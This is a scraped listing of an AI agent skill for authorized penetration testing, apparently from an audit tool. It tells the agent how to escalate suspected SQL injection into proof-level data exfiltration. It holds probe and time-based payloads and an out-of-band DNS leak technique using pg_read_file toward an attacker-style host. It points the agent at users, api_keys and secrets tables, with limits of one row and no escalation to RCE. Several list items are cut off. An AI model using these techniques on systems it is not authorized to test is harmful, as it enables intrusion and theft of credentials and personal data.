Sqli to data exfil

From vigolium/vigolium · View interactive version

Sqli to data exfil is an AI agent skill from the GitHub repository vigolium/vigolium. Escalate a suspected or confirmed SQL injection into proof-level data exfiltration. Use when you spot an SQL error in a response, a record from a prior scan flagged a SQLi pattern, or boolean/time differentials indicate the payload reaches the query parser. Walks from probe → confirm → enumerate → e

How to use this skill

Skill file

SQLi → Data Exfiltration

You suspect SQL injection somewhere in the target. Your job is to turn that

suspicion into proof — a real exfil sample from the database — and persist

it as a finding with reproducible evidence. Speculation isn't a finding.

When this skill applies

Trigger this strategy when any of these is true:

ORA-, MySQL syntax, PostgreSQL, unclosed quotation mark,

mismatched parenthesis, near "X": syntax error.

that triggered a 500 / different content-length / reflected error.

context that the response body or scanner finding directly suggests.

"blind SQLi" — even theoretical.

If you only have a generic "fuzz everything" task, stop and pick a record

first (query_records then inspect_record). Do not run this skill blind.

Workflow

1. Anchor on a record

Pick the strongest candidate via query_records filters (status: [500],

search: "SQL", has_params: true) and inspect_record to load its raw

request and the parsed insertion points. Note the insertion point name

and type (URL_PARAM, POST_BODY_PARAM, HEADER, JSON_PATH) — payload

encoding differs per type.

remember the chosen insertion point with a key like sqli-target so the

plan survives context churn.

2. Classify the injection

Run two probes with replay_request against the chosen insertion point:

length, body hash. If ' errors and '' succeeds → string context. If

both behave like baseline → numeric context or filtered.

1' AND '1'='2. Equal-vs-different responses prove an in-band boolean.

If neither yields a difference, fall through to the blind paths below.

3. Pull a payload set

Call attack_kit with class: "sqli" to get starter payloads. Don't fire

them all — read them and pick the ones that match the context (string vs

numeric, single-quote vs double-quote, MySQL vs SQLite vs Postgres

fingerprint from the error message).

4. Confirm with a verifiable oracle

Choose the cheapest oracle that actually proves execution, not behavior

difference:

echoed. Look for the sentinel in the replay body. **This is the only

oracle that proves data exfil end-to-end in one shot.**

control (e.g. IF(SUBSTRING(@@version,1,1)='5',sleep(0),null)).

use when nothing else differentiates. Confirm with at least 2 trials.

xp_dirtree, or pg_read_file('//' || (SELECT ...) || '.attacker')

to leak via DNS/HTTP. Poll with oast_poll until the callback shows up

(give it up to 60 seconds).

5. Enumerate then exfil

Once confirmed, walk the schema:

  1. Database version + name: leak via the chosen oracle.
  2. Table names: information_schema.tables (MySQL/Postgres) or

sqlite_master (SQLite).

  1. Column names for the highest-value table: pick users, accounts,

api_keys, tokens, sessions, secrets — not migrations.

  1. One real row: leak a single concrete value (a hashed password, an

email, an API key prefix). One row is sufficient — do not bulk-exfil.

Keep a remember note with the leaked sample (key: sqli-exfil-sample)

so the finding writer can include it as evidence.

6. Persist the finding

Call report_finding exactly once for this issue:

session token, or PII. high otherwise.

"SQLi in /rest/products/search q parameter leaks SQLite schema").

the sensitive part: admin@… not the full email).

If the audit harness already produced a theoretical finding for the same

endpoint, call update_finding with status: triaged and reference the

new evidence in the description instead of double-reporting.

Pitfalls — read before sending

circumstance. Use SELECT only.

also delay other requests (e.g. shared rate limiter). Run a baseline

with the same length payload but no sleep before claiming the oracle.

errors with "different number of columns", iterate 1,2, 1,2,3 until

it goes through — then identify which slot reflects.

field, your payload must escape the JSON before it escapes the SQL.

cross into RCE — that's a different skill (command-injection-rce).

Do not chain without explicit operator authorization in the scope.

Output expectations

parameter if the same handler is vulnerable on many).

context loss.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.